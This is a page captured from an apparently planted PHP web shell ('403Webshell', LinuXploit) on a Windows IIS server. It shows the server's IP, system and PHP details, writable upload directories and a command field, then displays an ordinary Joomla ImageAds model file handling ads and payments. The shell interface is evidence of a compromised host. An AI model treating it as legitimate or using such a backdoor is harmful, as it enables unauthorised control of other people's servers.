403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/moke/components/com_imageads/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/moke/components/com_imageads/models/addetails.php
<?php
/**
 * @version $Id: addetails.php
 * @package ImageAds
 * @author Andrey Sokolnikov <aasfalcon@gmail.com>
 * @copyright (C) 2011 Emergination, LLC. All rights reserved.
 * @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// import model base class
jimport('joomla.application.component.model');

// JDate class
jimport('joomla.utilities.date');

/**
 * Ad model
 *
 * @package ImageAds
 */
class imageadsModelAdDetails extends JModel
{
	/**
	 * Ad table object
	 *
	 * @access private
	 * @var imageadsTableAd
	 */
	var $_ad = null;

	/**
	 * Current ad ID
	 *
	 * @access private
	 * @var string
	 */
	var $_id = null;
	
	/**
	 * Payments list
	 *
	 * @access private
	 * @var array
	 */
	var $_payments = null;

	/**
	 * Get ad ID previously set or set after saving
	 *
	 * @access public
	 * @return int
	 */
	function getId()
	{
		return $this->_id;
	}

	/**
	 * Get ad table object
	 *
	 * @access public
	 * @return imageadsTableAd, boolaen false on error
	 */
	function &getAd()
	{
		if (null === $this->_id) {
			$this->setId(0);
		}

		return $this->_ad;
	}
	
    /**
     * Get payments records
     *
     * @access public
     * @param int $ad_id Ad ID to get payment records for
     * @return array Payment records array, false on failture
     */
    function getPayments($ad_id)
    {
        $sql = "SELECT p.*"
            ."\nFROM #__image_ads_payments AS p"
            ."\nWHERE p.ad_id=".(int)$ad_id
            ;
        $this->_db->setQuery($sql);
        $payments = $this->_db->loadObjectList();

        if ($this->_db->getErrorNum())
        {
            $this->setError($this->_db->getErrorMsg());
            return false;
        }

        foreach ($payments as $payment_key => $payment) {
            $ipn = new JRegistry();
            $ipn->loadINI($payment->ipn);

            foreach ($ipn->toArray() as $key => $value) {
                // copy IPN data to result object
                $payments[$payment_key]->$key = $value;
            }
        }

        return $payments;
    }

	/**
	 * Load data from array, but not store in the DB (for error redirects)
	 * 
	 * @param array $array 
	 */
	function load($array)
	{
		if ($array) {
			$this->_ad->bind($array);
			$cid = JRequest::getVar('cid');
			JArrayHelper::toInteger($cid);
			$this->_ad->id = $cid[0];
		}
	}

	/**
	 * Save ad from associative array (e.g. POST)
	 *
	 * @access public
	 * @param array $array
	 * @return bool True on success
	 */
	function save($array)
	{
		// initialize with new ID
		$this->setId(0);

		// bind and store
		$this->_ad->bind($array);

		if (!$this->_ad->check() || !$this->_ad->store()) {
			$errors = $this->_ad->getErrors();
			
			foreach($errors as $error) {
				$this->setError($error);
			}
			
			return false;
		}

		$this->_id = $this->_ad->id;
		
		// cleanup ad files because image settings could be changed
		$this->purgeFiles();
		return true;
	}

	/**
	 * Set ad ID to load data
	 *
	 * @access public
	 * @param int $value
	 */
	function setId($value)
	{
		if ($this->_id !== $value) {
			$this->_id = $value;
			$this->_ad = $this->getTable('Ads', 'imageadsTable');

			if ($this->_id) {
				if (!$this->_ad->load($this->_id)) {
					$this->setError($this->_ad->getError());
					return false;
				}
			}
		}

		return true;
	}
	
	/**
	 * Start a pending payment fro given ad ID
	 * 
	 * @param int $ad_id Ad ID
	 */
	function startPayment($ad_id)
	{
		$now = new JDate();
		$date_string = 'payment_date='.$now->toMySQL();
		
		$sql = "INSERT INTO #__image_ads_payments (ad_id, txn_id, ipn)"
			."\nVALUES (".(int)$ad_id.", '', ".$this->_db->quote($date_string).")";
			
		$this->_db->setQuery($sql);
		
		if (!$this->_db->query())
		{
			JError::raiseError(500, $this->_db->getErrorMsg());
			return false;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit